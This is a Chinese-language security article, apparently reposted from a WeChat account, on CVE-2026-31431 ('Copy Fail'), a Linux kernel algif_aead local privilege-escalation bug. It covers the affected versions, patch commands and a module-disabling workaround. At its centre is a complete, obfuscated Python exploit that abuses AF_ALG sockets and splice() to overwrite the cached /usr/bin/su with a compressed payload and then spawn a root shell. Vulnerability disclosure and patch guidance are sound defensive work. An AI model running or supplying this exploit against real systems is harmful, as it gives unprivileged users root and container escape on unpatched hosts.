文章总结: CVE-2026-31431是Linux内核algifaead模块中的高危本地提权漏洞,源于2017年的原地操作优化错误。该漏洞允许非特权用户通过AFALG套接字和splice系统调用向页面缓存写入4字节数据,从而篡改setuid二进制文件获取root权限。影响2017年后未打补丁的多数Linux版本,支持稳定提权和容器逃逸。修复方案包括升级至包含commita664bf3d603d的内核版本或禁用algif_aead模块。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,应急响应,红队
【已复现】CVE-2026-31431 Linux内核本地提权漏洞(Copy Fail)
原创
F1rstb100d F1rstb100d
智佳网络安全
2026年4月30日 21:45 北京
在小说阅读器读本章
去阅读
unsetunset漏洞描述unsetunset
漏洞位于Linux内核的algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化(commit 72548b093ee3)。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存page cache写入4个可控字节,进而篡改setuid二进制文件/usr/bin/su,直接获取root权限。
unsetunset影响范围unsetunset
根据现有分析,Copy Fail(CVE-2026-31431)漏洞的核心影响范围是:
自2017年以来编译、且未包含修复补丁(commit a664bf3d603d)的绝大多数Linux内核版本,广泛涉及主流的服务器和云环境Linux发行版,100% 稳定获取 root 权限,还能实现跨容器逃逸,堪称近年少有的高危内核缺陷。
不受影响的版本:
- 内核主线 7.0 及以上
- 稳定版 6.18.22 及以上
- 稳定版 6.19.12 及以上
unsetunset漏洞复现unsetunset
exp地址:https://github.com/theori-io/copy-fail-CVE-2026-31431
操作系统:Ubuntu 22.04.4
内核版本:6.8.0-94-generic
且algif_aead模块允许加载
exp:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
复现过程:
unsetunset修复方案unsetunset
升级修复方案
升级至包含commit a664bf3d603d的内核版本:
# Ubuntu / Debian
apt update && apt upgrade linux-image-$(uname -r)
# RHEL / CentOS / Rocky / Alma
dnf update kernel
# Amazon Linux
yum update kernel
# SUSE
zypper update kernel-default
升级后重启系统使新内核生效。
临时缓释方案
禁用 algif_aead内核模块可阻断漏洞利用路径
# 永久禁用(重启后生效)
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 立即卸载(当前会话生效)
rmmod algif_aead 2>/dev/null || true
unsetunset参考链接unsetunset
引入 commit 为:https://github.com/torvalds/linux/commit/72548b093ee3
修复 commit 为:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d
官方链接:https://xint.io/blog/copy-fail-linux-distributions
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智佳网络安全 F1rstb100d F1rstb100d《【已复现】CVE-2026-31431 Linux内核本地提权漏洞(Copy Fail)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论